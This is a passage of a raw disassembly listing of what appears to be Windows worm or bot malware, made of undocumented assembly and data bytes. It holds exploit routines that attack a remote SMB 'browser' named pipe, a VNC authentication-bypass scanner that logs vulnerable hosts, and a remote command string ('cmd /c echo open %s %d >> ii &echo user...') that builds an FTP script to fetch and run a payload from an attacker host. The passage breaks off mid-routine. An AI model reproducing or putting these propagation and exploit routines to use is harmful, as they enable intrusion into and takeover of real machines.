		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0B4h	; ´
		db 0DBh	; Û
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A7h	; §
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A5h	; ¥
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db    8
		db 0D8h	; Ø
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2700842h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608E1h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608E1h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26F0A85h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DE50
		nop
		call	near ptr 2680932h
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 26901BDh
		nop
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D5h	; Õ
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  69h	; i
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  36h	; 6
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Dh	; ]
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  0Ch
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; 
		db 0B3h	; ³
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  37h	; 7
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  86h	; †
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2EF1E890h, 83430226h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
